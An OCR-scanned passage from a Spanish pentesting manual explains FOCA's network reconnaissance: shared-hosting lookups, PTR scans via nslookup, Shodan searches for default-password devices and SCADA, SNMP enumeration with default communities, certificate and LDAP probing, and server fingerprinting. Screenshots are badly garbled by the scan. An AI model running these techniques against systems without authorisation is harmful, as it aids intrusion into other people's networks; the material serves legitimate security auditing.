A, VR B Main domain [elmundo.es] > DNS resoluion [193.110.128.139] » Bing IP Search [waww ven.es]
Ve Es Main domain [slmundo es] > DNS resolution [193.110 128 199) » Bing IP Search [ww.vec.es] » Infered by wews veo.es [veoies]
wae ugandovoy com Main domain [elmundo es] > DNS resolution [193.110.128.199] » Bing IP Search [wew jugandovay.com]
gandovoy. com Main domain [elrenda es] > DMS resolution [193.110.128.199] » Bing IP Search [weew jugandovoy. com] > Infered by www jugandovoy, com fugandovey com|
wev ocholeguas cam Main domain [almundo ez] > DS sezolubon [193.110.128.199] » Bing IP Search [wwww.ocholeguss. com]
ocholeguas com Mair domain [elmundo.es] > DMS resolubon [193.110.128.199] » Bing IP Search [wwas. ocholeguas com] » Infersd by we.ocholeguas. com [ocholeguas com|
W TAICE COM Main domain |aimundo.ez] > DNS reschubon [193 110,128 139] » Bing 1P Search [wwawy. marca.com]
M&CA Com Mar doman [elmundo.es] > DNS 1exclution [193 110,128 139] > Bing IP Seach [www.marca.com)] > Infesed by www. marca.com [marca com]
WAL BRPANEICN. COMm Main domain [emundo es] > DNS esciution [193 110,128 139] > Bing IP Search [www. sxpansion.com|
Epanzion com Main domain [eimundo. 2] > DNS resoiution [192.110,128.199) > Bing IP Search e expansion com] » Infesed by wwws expansion.com |expanson com]
i bedva.com Main doman [emundo.es] » DNS resoluion [193.110.128 193] » Bing IP Seaich [www telva.com]
tetva.com Main domain [emundo.es] > DNS resobaion [193 1100128 193] > Bing IP Search [wewi telva.com] > Infered by e bebva.com [telea com]
i tramibas. et #ain domain [emundo, es] > DNS resokation [193.110.128.158] > Bing [P Search [wew: tramilss net]

Imagen 03.16: Dominios alojados en la misma direccion IP.

Esta parte del algoritmo puede bloquear el analisis total del proyecto debido a que se dé con un
servidor de hosting con miles de dominios asociados. Para evitar estas situaciones FOCA cuenta con
el boton Skip en el DNS Search Panel, que fuerza al algoritmo a pasar al siguiente paso.

En un proceso de auditoria de un servidor web esta técnica puede resultar muy util para localizar
mejores vectores de ataque. Tras realizar las primeras fases del test, recopilacién de informacion y
biisqueda de vulnerabilidades, es posible que el auditor no haya sido capaz de encontrar una fisura
en la seguridad del servidor, por tratarse de un recurso critico para la empresa. Sin embargo, al
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utilizar un hesting compartido, puede existir la posibilidad de que alguno de los sitios que comparten
hosting con el servidor auditado presente alguna Vulnerabilidad que el pentester pueda explotar,
permitiéndole asi acceder al equipo objetivo a través de este otro sitio vulnerable.

PTR Scanning

Otra de las pruebas que realiza FOCA dentro de la fase de descubrimiento de la red de la organizacion
es un proceso de escaneo de los servidores DNS buscando los registro Pointer o PTR. Los registros
Pointer o “punteros”, identificados como registros de tipo PTR dentro de la base de datos de un
servidor DNS, se utilizan para realizar lo que se conocen como resoluciones DNS inversas. Aunque
las operaciones DNS mas habituales son las consultas directas, en las que se obtiene la direccion [P
de un equipo a partir de su nombre, existen ocasiones en las que se necesita realizar la operacion
opuesta, es decir, encontrar el nombre de un equipo partiendo de su direccion IP previamente
conocida.

Este proceso es identificado como resolucion inversa y es utilizado por diferentes servicios como,
por ejemplo, cuando los servidores de correo tratan de verificar que un e-mail ha sido enviado
desde un determinado dominio verificando que la direccion /P de entrega pertenece a nombre de un
servidor en el dominio del remitente, y para ello se consulta su registro PTR en Internet.

Con el objetivo de encontrar mas servidores en el mismo segmento interno de la red donde existan
uno o mas servidores que FOCA haya localizado previamente mediante el uso de otras técnicas de
analisis de red o simplemente por medio del analisis de metadatos, el programa realizara un escaneo
de registros PTR por todo el rango de direcciones descubierto, lanzando consultas a registros PTR del
DNS de todas las posibles direcciones /P pertenecientes a todos los segmentos de red previamente
descubiertos.

Es decir, supongamos que, por ejemplo, por medio de un proceso de analisis de metadatos se ha
localizado la direccion /P 192.168.23.4. A partir de ese dato, FOCA se conectara a uno de los
servidores DNS de la organizacion que se estd analizando, o a todos ellos, dependiendo de la
configuracion de las opciones de DNS que se hayan establecido, y preguntara por el registro PTR
asociado a todas y cada una de las direcciones /P que van desde la 192.168.23.1 a la 192.168.23.255.

Este proceso se realizara por todos y cada uno los segmentos de red en los que se haya descubierto
de forma automatica al menos una direccion /P de un servidor, y si ésta es interna podra llevar al
descubrimiento completo de la red de la organizacion. Este proceso también se puede hacer de forma
manual con la opcion del meni contextual que hay sobre cada segmento de red, y las direcciones IP
también pueden ser afiadidas manualmente para comenzar este proceso de escaneo.

Para entender este proceso interno, se puede realizar este escaneo de forma manual utilizando de
nuevo el programa desde el interfaz de comando nslookup. Para ello hay que localizar en primer
lugar todos los servidores de nombres del dominio analizado en cada caso, pidiendo para ello los
registros de tipo NS pertenecientes a la organizacion objetivo del analisis, tal y como se puede ver
en el siguiente proceso descrito en la imagen de la pagina siguiente.
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> nslookup

> set type=ns

> urjc.es

Non-authoritative answer:

urjc.es  nameserver = sun.rediris.es.

urjc.es  nameserver = chico.rediris.es.

urjc.es  nameserver = orion.urjc.es.

urjc.es  nameserver = titan.urjc.es.

urjc.es  nameserver = deimos.urjc.es.

urjc.es  nameserver = cibeles.urjc.es.

urjc.es  nameserver = neptuno.urjc.es.

urjc.es  nameserver = saturno.urjc.es.
Authoritative answers can be found from:
chico.rediris.es internet address = 130.206.1.3
chico.rediris.es has AAAA address 2001:720:418:caf1::3

sun.rediris.es internet address = 130.206.1.2

Imagen 03.17: Obtener servidores DNS con aslookup.

A continuacion debe configurarse el programa para que las consultas se realicen contra uno de
los servidores DNS obtenidos. En un proceso de auditoria completo deberia realizarse el mismo
proceso contra todos. Hay que tener en cuenta que generalmente la zona de registros P7R no se
suele sincronizar con los registros DNS secundarios asi que si se localiza, lo habitual es que esté en
el Primary Name Server o en uno solo de los servidores publicados.

Una vez conectados al servidor DNS de la organizacion que se va a analizar, se debe modificar el
tipo de registros que se quieren consultar a tipo Peinter, seleccionando para ello el tipo PTR con la
orden set type=PTR.

Una vez realizados estos pasos, el escaneo es tan sencillo como preguntar por todas y cada una de
las direcciones IP internas de la red en cada uno de los segmentos descubiertos previamente - o
simplemente supuestos -, obteniendo o bien un mensaje de error, lo que indica que no hay ningin
registro PTR asociado a esa direccion P, o bien el nombre FQDN de la maquina con esa direccion.
con el formato de registro inverso, es decir, direccién /P invertida con el dominio in-addr.arpa.
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> server neptuno.urjc.es
Default server: neptuno.urjc.es
Address: 193.147.184.2#53

> set type=PTR

> 192.168.46.21

Server: neptuno.urjc.es

Adress: 193.147.184.2

21.46.168.192.in-addr.arpa name = morgana.urjc.es

Imagen 03.18: Realizar consultas TR de direcciones [P internas,

En las opciones de FOCA, en la pestafia General config, puede marcarse o desmarcarse la casilla
Scan only netranges /24 (X.X.X.0-255), que indica al programa si deben escanearse todos los rangos
de red o solamente aquellos de clase C. Debe tenerse en cuenta que si FOCA localiza, por ejemplo,
un dominio de clase A (con un mascara /8 o0 255.0.0.0) y esta opcion no se encuentra seleccionada,
el programa realizara 16.777.216 de peticiones, lo que puede ralentizar el procesamiento.

Shodan

Shodan* es un buscador que permite realizar busquedas basadas en equipos para acceder a gran
cantidad de informacion sobre dispositivos conectados a Internet en funcion de su ciudad, pais, latitud
o longitud, nombre de equipo, sistema operativo o direccion IP. Al contrario de como funcionan
los buscadores tradicionales, las arafias de Shodan no Indexan documentos, sino que rastrean las
cabeceras HTTP, FTP, SSH, SMTP y SIP de los equipos que localizan. Como lo que Shodan Indexa
es la informacion devuelta por los diferentes dispositivos ante una conexion a un puerto, es posible
realizar bisquedas sobre servidores, routers, puntos de acceso, camaras /P, turbinas edlicas, plantas
de energia, teléfonos FoIP o sobre cualquier otro equipo conectado a Internet.

Para mostrar el funcionamiento de Shodan y la sencillez de su sintaxis se van a plantear algunos
ejemplos de blisquedas que se encuentran entre las mas populares de las que realiza la comunidad de
usuarios y que pueden ser ejecutadas desde el propio directorio de basquedas del sitio™

- netcam — localiza camaras /P que incluyen la palabra nefcam en el banner Indexado por

Shodan.

- “default password” — dispositivos en que incluyen la expresion default password en el

banner, por lo que es posible que el usuario y contrasefia por defecto sean validos.
“CISCO-ios” “last-modified” — equipamiento CISCO que parece que no requiere

ningun tipo de autenticacion.

4 HTTP://www.shodanhg.com/
5 HTTP://www.shodanhg.com/browse
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- snom embedded — Teléfonos VOIP Snom que, aunque se encuentran protegidos por
usuario y contrasefia, muchos mantienen las credenciales de fabrica.

- scada — busqueda de sistemas SCADA.

Los operadores disponibles en Shodan también son muy simples e intuitivos, como hostname,
server, os, city, country, before o after. Por ejemplo, supongamos que un pentester esta colaborando
con el Ministerio de Fomento de Espaiia realizando una auditoria de sus servidores web. Podria
utilizarse la cadena de blsqueda “hostname:fomento.es IS para localizar servidores web Internet
Information Services de este dominio y tratar de realizar pruebas en los servidores para comprobar
si presentan alguna vulnerabilidad conocida para cada version de IS localizada.

Desde el punto de vista de FOCA y del descubrimiento de la red, uno de los operadores mas
interesantes es NET: (es necesario estar logueado en Shodan para utilizar este comando), con el que
es posible buscar informacion de una determinada direccion /P o de todo un segmento de red si se
afiade la mascara de red en formato CIDR en la consulta.

Entre la informacion que Shodan muestra de cada equipo puede encontrarse la fecha en la que el
servicio localizo este equipo por primera vez, su pais, su nombre de Aost, su sistema operativo,
servicios ofrecidos y las versiones de las aplicaciones.

SHODAN

Computer Search Engine

net.143.84.68.8 i

|| Sevethissearch . 00

Results 1 -1 of about 1 for net:143.84 |
» Top countries matching your search  United States

143.84.68.8

NetApp Data OnTap 6.x
HTTP-1.8 2688 0K

Content-length: 587367

Via: 1.1 RIL-CTHOSC (HetCache MetFpp-<6.8.2P1)
“-powered-by: ASP.MET

K-aspnet-version: 2.0.58727

Server: Microsoft-115/6.0

Cache-control: private

Date: Fri, 27 Mov 2889 B6:49:36 GMT

Content-type: textshtml; charset=utf-8

Imagen 03.19: Busqueda por segmento de red en Shodan.
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En virtud a un acuerdo con el creador de Shodan, FOCA hace uso de este servicio web mediante la
API para desarrolladores que ofrece este servicio, y, por cada direccion /P descubierta durante otras
fases del proceso de descubrimiento de red, el programa consulta a Shodan toda la informacion
que éste tiene Indexada sobre esa determinada direccion IP. Para este proceso Shodan permite el
envio de los datos en codificados en JSON (Javascript Object Notation) un formato ligero para el
intercambio de informacion, por lo que es perfecto para Indexar los resultados de forma muy rapida
en FOCA.

La informacion a la que es posible acceder a través de Shodan proviene de haber realizado un
escaneo de Internet completo de analizando muchos puertos de todas las direcciones expuestas
en Internet, lo que puede resultar muy interesante durante un test de intrusion al ofrecer datos de
servicios SNMP, HTTP, FTP, SNMP, HTTPS, etcétera.

En un proceso completo de analisis puede ser importante revisar los banners completos que se
recibieron desde Shodan - ya que la informacion es filtrada antes de pintar el mapa de la red, pero
si hay informacion obtenida desde Shodan, FOCA la almacena en cada uno de los servidores del
dominio auditado y puede ser obtenido el fichero JSON desde alli.

Descubrimiento de la red mediante agentes SNMP

Con el objetivo de poner de manifiesto lo decisivo que puede resultar esta informacion de cara
al éxito de una auditoria se va a plantear un ejemplo del tipo de datos a los que se podria llegar a
acceder tras descubrir con Shodarn un dispositivo CISCO con un agente SNMP activo.

Encontrar estos dispositivos en Shodan resulta realmente sencillo. Para ello es suficiente con buscar
el hanner de los dispositivos CISCO que quieran descubrirse (como, por ejemplo, “Copyright (c)
1986-2001 by CISCO Systems, Inc.”) y filtrar por el puerto 161. De esta forma es posible acceder
a una buena cantidad de agentes SNMP esperando recibir consultas y la gran mayoria sin requerir
ninguna password, ya que se encuentran configurados con SNMPvI o SNMPv2 y con las comunidades
public y private por defecto. Durante una auditoria, por supuesto, se limitaria también la busqueda
utilizando el operador NET para restringir la consulta a la red del dominio en cuestion.

Para llevar a cabo las pruebas, aunque es posible realizar consultas SNMP mediante diferentes
clientes de linea de ordenes, resulta mas comodo y sencillo utilizar algin visor de consultas SNMP
como, por ejemplo, MIB Browser®. La configuracion del programa es muy rapida, ya que tan solo
hay que indicar la direccion IP del dispositivo a consultar y escoger la version 2 del protocolo SNMP
sin autenticacion.

La informacion que se puede obtener mediante estas consultas es realmente jugosa, ya que describe
con una gran exactitud el entorno donde esta conectado ese equipo. Aunque los datos a los que se
podra acceder dependen del namero de MIBs (Management Information Base) configuradas en cada
dispositivo, el arbol del panel izquierdo del programa permite navegar por las estructuras de datos
que pueden consultarse de forma muy comoda y répida.

6 HTTP://ireasoning.com/mibbrowser.sH{TML
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Imagen 03.20: Consultas SNMP realizadas con MIB Browser.

Los atributos que tienen el icono de una tabla son datos en formato de tabla que pueden ser
descargados masivamente con una opcion del boton derecho Tuble View (que se traduce a una
consulta get table de SNMP). El resto de iconos representa el tipo de dato que se almacena en ese
atributo vy, seleccionando cada elemento, en el recuadro inferior izquierdo se puede acceder a una
descripcion del contenido mas detallada.

En la imagen 03.20 se puede observar el atributo Physical Address de la Address Translation Table
que recoge la direccion MAC y la direccion /P que este sistema ha almacenado. Es una especie de
tabla Caché ARP que permite, como se puede ver en este caso, descubrir los segmentos de la red
interna, los equipos conectados y sus direcciones fisicas. Con una sencilla consulta se realiza un
escaneo a la red interna sin necesidad de, ni siquiera, lanzar un ping.

Para conocer mas sobre el equipo y el entorno donde esta conectado y asi dibujar mas claramente la
estructura de la red, se pueden analizar los interfaces que tiene el sistema, la marca y el modelo - que
se obtienen en la informacion de sistema -, la tabla de enrutamiento y cualquier tabla de mapeo de
direcciones fisicas a logicas, entre otros muchos datos. Todos estos datos, objetos gestionados en
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nomenclatura SNMP, se encuentran disponibles en la M/B-2 descrita en la RF'C 1213: MIB II for
Network management of TCP/IP based internets

De esta forma, mediante la consulta de la tabla de enrutamiento de un sistema se puede conocer
cudles son las redes conectadas directamente a los interfaces del equipo, las rutas descubiertas
mediante protocolos de encaminamiento como OSPF o RIP para rutas internas o via BGP para
sistemas autonomos, ademas de los nodos de conexién entre redes, lo que permite hacer un dibujo
mas detallado de la red global.

La tabla IPNetToMedia también muestra informacion similar a la Address Translation Table, en
este caso traduciendo de direccién IP a direcciodn fisica, con lo que se obtienen de nuevo mapeos
entre MAC-IP conocidos por el sistema. Dentro de esta MIB también es posible acceder a la tabla de
conexiones de un equipo, lo que permite descubrir qué otros puertos estin abiertos en los sistemas
lo que, por consiguiente, desvelaria servicios en ejecucion.

Si los equipos con un agente SNMP activo descubiertos con Shodan hubieran sido servidores
Microsoft Windows, GNU/Linux, Novell Netware o Solaris, por ejemplo, también seria posible
acceder a la informacién sobre las particiones, las interfaces de red, el software en ejecucion, el
software instalado o los usuarios con los que son arrancados determinados servicios, entre otra
mucha informacién. Por tanto, tal y como se comentaba previamente, es muy importante revisar los
banners completos que FOCA almacena de cada uno de los servidores del dominio analizado, ya que
pueden contener informacion muy interesante para las siguientes fases de la auditoria.

Robtex

Robtex’ es un servicio web descrito por sus desarrolladores como la navaja suiza de Internet, ya que
permite localizar una gran cantidad de informacion de un dominio objetivo concreto, como son otros
sitios web alojados en el mismo servidor, informacion sobre los subdominios, otras direcciones /P
que apuntan al dominio analizado, los routers a los que estd conectado cada uno de los servidores
que tienen en la base de datos, el sistema autonomo del que depende el segmento analizado o si el
dominio auditado se encuentra en alguna lista negra, por nombrar algunos ejemplos. Para un analisis
en detalle de la red de un objetivo, los servicios de Robtex son fundamentales.

Robtex recopila todos estos datos utilizando arafias que se conectan a diferentes fuentes publicas
OSINT de informacién como son los servidores DNS, los feeds de informacion de los sistemas de
enrutamiento BGP (Border Gateway Protocol, el protocolo que se utiliza por los sistemas autonomos
para intercambiar informacion de encaminamiento entre ellos) o como el servicio Routing Internet
Service de RIPE.

También obtiene parte de estos datos de terceros, como Alexa (que ofrece informacion sobre las
visitas que recibe cada sitio web y mantiene un ranking por palabra clave, categoria o pais), Sedo (un
mercado para comprar, vender o aparcar dominios) o0 RADb (Routing Assets Database, un registro
publico de informacion de encaminamiento de redes de Internet).

7 HTTP:/iwww.Robtex.com/
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La informacion almacenada en Robtex puede ser util también para tratar de descubrir los servidores
que cumplen un determinado rol en una organizacion en funcién del nombre que tengan dichos
servidores, o para encontrar los servidores de un determiando dominio, tal y como se muestra en la
figura 03.21 donde utilizando una busqueda en el titulo de los resultados con el nombre de dominio
se obtienen esos datos.

€ & C  ©® www.robtex.com/q/y?q=intitie:"nasa.gov”
ntitie-"nasa.gov' _|ucky{Search] Coogle” curtom searen
Search results for intitle:"nasa.gov"”

About 540 results (0.16

seconds)
search.nasa.gov na ov.
Apr 10, 2012 ... search.nasa gov Mar 22012 ... Com.nasa-gov.eg
has two IP numbers are subdomains to this
(T7.67.126.32, 77.67.126 41). hostname. You might also be
Both are on the same IP interested in similar looking
network. This hostname cnames domain names: nasa-gov.cn,
0 nasa-gov.us,.
www_rabtex.com www _robtex com
nip nasa.gov webmail nasa.gov
ntp.nasa.gov has one IP number webmail.nasa.gov has one IP
{198.123.30.132), via cname to number (198.117.1.43), which
ntp-nasa arc. nasa.gov, which also has a corresponding reverse
also has a corresponding reverse pointer. You might also be
pointer. You... interested in_..
www_robtex com waww.robtex com

Imagen 03.21: Descubriendo nuevos dominios con Robtex.

FOCA utiliza Robtex de diferentes formas. La primera de ellas como forma de descubrir servidores
de una organizacion, tal y como se ha explicado y se puede ver en la imagen superior. La segunda
de las maneras en que se usa es para descubrir nuevos servidores en los mismos segmentos de red,
por lo que una vez que se encuentra una direccion /P publica perteneciente al dominio auditado,
se lanza un proceso de scanning de todo el segmento utilizando Robtex, lo que llevara a localizar
servidores en dominios relativos al dominio objetivo. La ultima, y mas evidente forma, consiste en
simplemente obtener informacion de una direccion /P localizada.

Tanto el escaneo de PTR explicado, como los escaneos de Shodan o de Robtex en un dominio,
son opciones que el auditor puede pedir a FOCA que realice en cualquier momento. Es decir, no
es necesario que se haga dentro del proceso de Network Discovery, y un auditor puede afiadir en
cualquier momento una nueva direccion /P manualmente a FOCA y forzar a partir de ella con las
opciones de ment contextual cualquiera de los escaneos previamente explicados, ademés de un
tradicional escaneo de Ping al segmento.
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Certificados digitales

Cada vez que FOCA encuentra un servidor que ofrece el servicio web la aplicacidn trata de descargar
el certificado digital de la conexion HTTPS, ya que estos certificados pueden contener informacion
que ayude al programa a descubrir nuevos dominios.

Un certificado digital es un documento firmado electronicamente por una Autoridad de Certificacién
que permite la identificacion del titular del mismo, y son utilizados por el protocolo HTTPS para
que los usuarios puedan verificar que estén visitando el sitio deseado y para establecer una conexion
segura entre el cliente (el navegador del usuario) y el propio servidor web.

Las conexiones HTTPS se encuentran presentes en la practica totalidad de los sitios de comercio
electronico, banca online o administracion electronica, y cada vez son mas frecuentes en cualquier
otro servicio web que requiera la autenticacion del usuario para tareas de administracion o de acceso
a la informacion.

Cuando los administradores de un sitio desean conseguir un certificado digital que sea utilizado por
sus clientes para validar su identidad, deben acudir a una Entidad o Autoridad de Certificacion para
que, tras una serie de comprobaciones, emita y firme un certificado para el servidor. Cada vez que un
cliente visite el sitio, el navegador solicitara al servidor que le envie su certificado para comprobar
que éste fue firmado por una Autoridad de Certificacion en la que confia y, por tanto, que esta
accediendo al servidor correcto.

0996338 edb5d1f3d 0 ...
[1]Acceso a informadidn de au...

Biombr Jbctmad, ar...
[1]Directiva de certificado:Ide...
Firma digital, Cifrado de dave ...
Algoritmo de identificacion shal

41 A5 had h1 Na o &t Nh Ga 49

Nombre DNS =www. fcs.army.mil

[ Editar propedaces. . | [Copianenasctivo..)
Més informacion acerca de los detalles del certificado

Imagen 03.22: Certificado digital del dominio army.mil.
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Entre los datos que incorporan los certificados digitales se encuentran su nimero de serie, la Autoridad
de Certificacion que lo emitid, el periodo de validez, la clave pablica del titular del certificado y un
campo que puede contener nombres alternativos del titular del mismo.

En el ¢jemplo que se muestra en la imagen 03.23, FOCA ha encontrado este servidor web del
dominio army.mil mediante la bisqueda de documentos y ha solicitado el certificado digital de
la conexion HTTPS. Tal y como puede observarse, consultando el valor del campo mencionado
FOCA ha descubierto que en el dominio fcs.army.mil hay un certificado que también identifica a
www.bctmod.army.mil. De esta forma, FOCA afade el equipo www.bctmod.army.mil a la lista de
servidores, y en su dominio aparecera una nota informando de que fue descubierto mediante técnicas
de fingerprinting .

Critice NO

1D de la politica #1  US DoD Medium Assurance
(2.16.840.1.101.2.1.11.5 )

Exiension  Puntos de distribucién de CRL ( 2.5.29.31 )
Critico NO
LR

CA-21,0u=PKl,0u=DoD,0=U.S. |

Government,c=US? i
certificaterevocationlist;binary b

' Extension  Acceso a la informacién de la entidad de f
| certificacién ( 1.3.6.1.5.5.7.1.1)

Critico NO
Método nim. 1 Emisores de CA( 1.3.6.1.5.5.7.48.2 )
| URI  http:{/crl.disa.mil/getsign?DOD CA-21

| Método nim. 2 Protocolo de estado del certificado en linea
' (1.3.6.1.5.5.7.48.1)

URI  http:f focsp.disa.mil

Huellas digitales iy

Imagen 03.23: Informacion del certificado digital del dominio disa.mil.

Otra informacion jugosa que puede obtenerse de un certificado digital es relativa a la Certificate
Revocation List (CRL), que puede apuntar a un servidor de la organizacién LDAP o HTTP que
contiene la lista de los certificados digitales que la organizacion ha decidido revocar. Esto puede
llevar al descubrimiento de servidores internos del dominio objetivo o a nuevos segmentos de red.
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Por supuesto, si la ruta que aparece en el certificado digital apunta hacia un determinado servidor
LDAP, una de las cosas que se pueden hacer a colacion es la de intentar conectarse a €l para ver qué
informacion existe en él que de forma andénima sea ofrecida a todos los usuarios de Internet. Para
ello, basta con utilizar un cliente LDAP para conectarse.

En este ejemplo se hace uso de la popular herramienta LDAP Browser, gratuita, con la que se puede
realizar la conexion de forma anénima por el puerto 389 para asi hacer un posterior anélisis de la
informacién almacenada en él.

Value
7 = certificateRevorationlist;binary  US, U.5. Government, DoD), PKI, DOD EMAIL CA-11
) & crossCertificaterair hinary 30 82 04 42 AD B2 04 3E 30 52 04 3A 30 8.
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metorgperson

certificationauthority

Do EMALL CA-11

DOD EMAL CA-11

(- ou=Certification Authorities
{3 m=ECARootCA 2

3
6
0
13
n
15
L1KB
15
15
15

[l =000 Interoperabiity Root CA 1
{3l on=DoD Intermediate CA-1

-19

Imagen 03.24: Concexion LDAP al servidor de CRLs descubierto en el certificado digital de disa.mil.

La informacion de los servidores que gestionan las listas CRL actualmente no esta siendo extraida
por FOCA - aunque siempre estuvo en el roadmap -, pero la herramienta genera una copia de todos
los certificados digitales que ha encontrado dentro de las direcciones del dominio en una carpeta que
se genera dentro de la carpeta del proyecto con el nombre Certificates.

Alli se puede acceder a todos y cada uno de los certificados digitales obtenidos, y estan preparados
para poder sufrir un proceso de anélisis posterior, por lo que se podria hacer un script en PowerShell
o Python que permitiera extraer la lista de servidores que aparecen en los campos CRL de todos los
certificados localizados.
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Google Slash Trick

Otro truco que incorpora FOCA es la busqueda en Google de URLs con puertos “extrafios” que
estén /ndexados del dominio objetivo, con el proposito de poder localizar nuevos servidores o
para descubrir nuevos roles de los servidores ya descubiertos, pero siempre buscando aquellos que
puedan tener una especial significancia para la seguridad.

En una organizacion donde se utilizan puertos como 777 o 2323 no se suelen publicar servicios
normales, ya que en muchos casos los clientes no podran conectarse por las medidas de seguridad
de la red desde la que se conecten. Hay que tener presente que si una persona se quiere conectar a un
servicio HTTP publicado por el puerto 777, es posible que no lo pueda hacer porque en el firewall
de salida solo se permita trafico HTTP por puerto 80 y HTTPS por el puerto 443 o 563, asi que si
alguien publica algo en puertos raros no es un servicio “para el gran ptblico” y por tanto merece una
especial atencion para un auditor de seguridad.

Eltruco de la barra en Google es bastante curioso, ya que si se hace una busqueda sencilla utilizando
el comodin para pedir cualquier Ur/ que tenga algo después de los dos puntos - lugar donde se indica
el puerto -, puede comprobarse que Google no devuelve ningln resultado.

COUSIQ site:nt*/

Blusqueda

= : Google prometion

Todo Prueba las Herramientas para webmasters de Google

Imé www.google comdwebmasters/

magenes ;Eres el webmaster de nl:*/? Consigue datos de indexacidn y ranking de Google.
Maps

—— La bisqueda de site:nl:*/ no obtuvo ningln resultado.

Noticias Sugerencias:

Shopping + Comprueba que todas las palabras estan escritas correctamente.
3 ¢ Intenta usar otras palabras.

as -
¢ Intenta usar palabras mas generales.

Imagen 03.25: Bhsqueda sin resultados.

A priori esto podria hacer pensar que no existe ninguna Ur! Indexada en Google con un puerto
identificado después de los dos puntos y esto seria un error. Aunque estas URLs existan en la base
de datos de Google, esas URLs no van a aparecer hasta que se aplique un caracter especial en la
consulta.

Si repetimos la consulta, pero ahora se afiade una barra al inicio de la cadena de blsqueda que se
quiere consultar, se puede comprobar como se obtendran URLs con todos los puertos que hayan sido
Indexadas de ese dominio en la base de datos de Google. Curioso, pero cierto, tal y como se puede
comprobar en la imagen 03.26 de la pagina siguiente.
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GOGSIQ site:/nk*/
Bilsaqueda Aproximadaments 14 000 resultados (0,07 sequndos)
Start

mail doek.ni:81/ - Traducir esta pagina
maandag 21 mei 2012. g-lossy, Inloggen. Versie 2.2.0. Vul je inloggegevens in.

Todo

hnigiacy Gebruikersnaam. Wachtwoord. Wachtwoord vergeten?
Maps
' H-SPHERE
Videos cp clustemet ni-8080/ - Traducir esta pagina
Noticias Eigen website? domeinnaam registratie & webhosting voor webhast pakketten .nl .com
domein registratie.
Shopping

Holomind: Check in and check it out!

Mas warw_holoplanet nl 85/ - Traducir esta pagina
Let op: Holomind is weer terug :-). 10 Holo's online! Registreer gratis! Al 23 063 Holo's
gingen je voor! Welkom op Holomind. Chat, maak nieuwe vrienden en ...

Imagen 03.26: Miles de resultados usando el Google Slash trick.

Esta comprobacion hecha por FOCA, ademas de todo el proceso de WebSearch que realiza en la
primera fase del algoritmo de Network Discovery genera muchas URLs jugosas para un auditor de
seguridad en un proyecto concreto.

2.0pciones de fingerprinting

Las técnicas de fingerprinting consisten en recoger aquella informacion que también esta accesible
publicamente pero que a priori no puede observarse. Es decir, que se trata de inferir informacion a
partir de pruebas que se realizan a cada uno de los servicios y servidores del dominio objetivo para
obtener, por ejemplo, datos sobre el nombre y la version del servidor, conocer si se esta utilizando
un servidor de aplicaciones como backend, descubrir si el servidor de base de datos se encuentra en
el mismo host o conocer el lenguaje de programacion utilizado en una aplicacion.

Por ejemplo, utilizando un simple analisis mediante una utilizacién especial de los valores en un
comando Ping es posible tratar de descubrir el sistema operativo instalado en un servidor concreto en
funcidn de las respuestas obtenidas al enviar en las tramas TPC/IP valores 1 en los bits de urgencia,
que a dia de hoy no van a ser utilizados por el sistema operativo.

Un sistema Microsofi devuelve esos valores siempre a 0, debido a que cuando construye una
trama TCP/IP de respuesta lo hace desde una nueva trama. Sin embargo, un sistema GNU/Linux
construye la respuesta a partir de la trama de peticion, por lo que los valores tendran el valor 1. Este
comportamiento hace que un auditor pueda deducir, con un porcentaje alto de éxito, si el sistema
operativo objetivo es Microsoft Windows o GNU/Linux.
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Fingerprinting con banners y mensajes de error

A la hora de realizar fingerprinting de los servidores HTTP, FTP o SMTP que previamente hayan
sido localizados, FOCA incorpora varias opciones distintas para identificar versiones de sofiware
corriendo en cada uno de ellos.

En el caso de un servidor web, FOCA analiza en primer lugar el Banner HTTP tanto del servicio
web que responde al hostname, como del servicio web que responde a una peticion realizada sobre la
direccién IP directamete - sin usar el valor de hostname -. Si los servidores webs cambian, entonces
podemos estar seguros de estar frente a un Reverse Proxy que hace de frontera en esa direccion [P,

FOCA también consulta el Banner SMTP de los servidores de correo electronico MX, y busca el
banner de los servicios FTP en todas las direcciones IP descubiertas. Ademas solicita también el
banner del servicio web que atiende por la direccion IP pero por el puerto HTTPS, y, por tltimo,
consulta Shodan, tratando de obtener e inferir la maxima informacién posible de cada servidor.

En cuanto a los mensajes de error, un sencillo andlisis de la cabecera HTTP de las respuestas que un
servidor ofrece a consultas que estan mal formadas o que solicitan recursos que no existen, permite
obtener informacién muy valiosa sobre el servidor auditado. Con estos mensajes de error 404 en
muchas ocasiones se obtiene informaciéon mas que suficiente como para saber la version exacta
de un servidor web, el sistema operativo sobre el que se ejecuta e incluso algun modulo que esta
cargado en él.

Muchos administradores, por este motivo, a la hora de poner en produccion un servidor web controlan
el mensaje de error 404 mostrando un mensaje genérico en su lugar. Sin embargo, cuando se solicita
un fichero que no existe pero que esta vinculado a un manejador de extensiones, es decir, un .aspx,
un jsp, o un .cfm, por nombrar algunos ejemplos, son estos frameworks los encargados de gestionar
los mensajes de error. Y, de forma habitual, los administradores se suelen olvidar de modificarlos, lo
que ofrece mucha informacion sobre el servidor web.

imessag el 3dmaw/hi histry.

The requested resource (/external/3dmaw/history/histry.isp) is not available.,
Apache Tomcat/6:0.32

version.bind text="9.8.4 P1"

Imagen 03.27: Figerprinting mediante peticiones .jsp.

Por este motivo, ademas de generar y estudiar los mensajes de error 403 y 404 tradicionales, FOCA
analiza los mensajes 404 de JSP, TPL, ASP y CFM, y si se localiza un recurso .do, un recurso
Server, un jsf o un .servlet, el programa también trata de generar errores 404 de servidores Java.
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Fingerprinting de versiones en servidores DNS

Por tltimo, respecto al fingerprinting de los servidores DNS, FOCA también incorpora la posibilidad
de consultar el registro de la version de BIND (Berkeley Internet Name Domain), que es practicamente
el servidor de nombres estindar en sistemas UNLX y su uso estd muy generalizado también en
sistemas GNU/Linux. El registro version.bind almacena informacion sobre la tltima actualizacion
aplicada, lo que puede ser util para conocer si un determinado servidor no se encuentra actualizado
o para descubrir una politica de versiones descoordinada dentro de una organizacion.

Para realizar esta comprobacion puede utilizarse la herramienta nslookup. En primer lugar, tras
seleccionar el servidor a auditar, es necesario cambiar la clase de la consulta a chaos. Por defecto la
clase esta configurada con el valor in (internet), ya que es la clase mas comun y la que se usa para
obtener direcciones /P o nombres de equipos. A continuacion es necesario establecer como tipo de
registro a consultar el valor £xt y, por ultimo, solicitar al servidor la informacion sobre la version de
BIND. En la siguiente figura podemos ver la version de BIND utilizada por uno de los servidores de
nombres del dominio freebsd.org.

> nslookup

> serv er nslisc-sns.com

Default server: ns isc-sns.com
Address: 38.103 2.1%53

> set class=chaos

> set type=txt

> version.bind

Server ns) isc-sns.com

Address: 38.103.2 1#53
